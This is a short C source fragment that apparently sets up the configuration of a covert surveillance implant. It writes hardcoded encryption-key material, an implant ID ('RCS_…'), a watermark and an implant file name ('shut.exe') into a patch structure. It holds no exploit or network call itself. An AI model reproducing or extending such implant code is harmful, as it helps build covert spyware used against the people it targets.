	MD5("uX-o0BOIkiyOyVXH4L3FYhbai-CvMU-_", 32, lpBinPatch->EncryptionKeyConf.pEncryptionKeyConf);
	//memcpy(lpBinPatch->EncryptionKeyConf.pEncryptionKeyConf, "uX-o0BOIkiyOyVXH4L3FYhbai-CvMU-_", min(32, strlen("uX-o0BOIkiyOyVXH4L3FYhbai-CvMU-_")));

	memset(lpBinPatch->ImplantId.pImplantId, 0, 32);
	memcpy(lpBinPatch->ImplantId.pImplantId, "RCS_0000001167", min(16, strlen("RCS_0000001167")));

	memset(lpBinPatch->DemoTag.pDemoTag, 0, 32);
	memcpy(lpBinPatch->DemoTag.pDemoTag, "hxVtdxJ/Z8LvK3ULSnKRUmLE", min(32, strlen("hxVtdxJ/Z8LvK3ULSnKRUmLE")));

	memset(lpBinPatch->Wmarker.pWmarker, 0, 32);
	memcpy(lpBinPatch->Wmarker.pWmarker, "LOuWApluW2C3yF8VBUEdAAiJs7oaV2e8", min(32, strlen("LOuWApluW2C3yF8VBUEdAAiJs7oaV2e8")));

	memset(lpBinPatch->pImplantName.pImplantName, 0, 32);
	memcpy(lpBinPatch->pImplantName.pImplantName, "shut.exe", min(MAX_PATH, strlen("shut.exe")));


	//#ifdef _DEBUG
	//	MD5( (PBYTE)CLIENT_KEY, 32, (PBYTE)pServerKey);
	//	MD5( (PBYTE)ENCRYPTION_KEY_CONF, 32, (PBYTE)pConfKey);
	//	MD5( (PBYTE)ENCRYPTION_KEY, 32, (PBYTE)pLogKey);
	//#endif

	pRuntime->lpBinPatchVariables = lpBinPatch;

	return pRuntime;
}
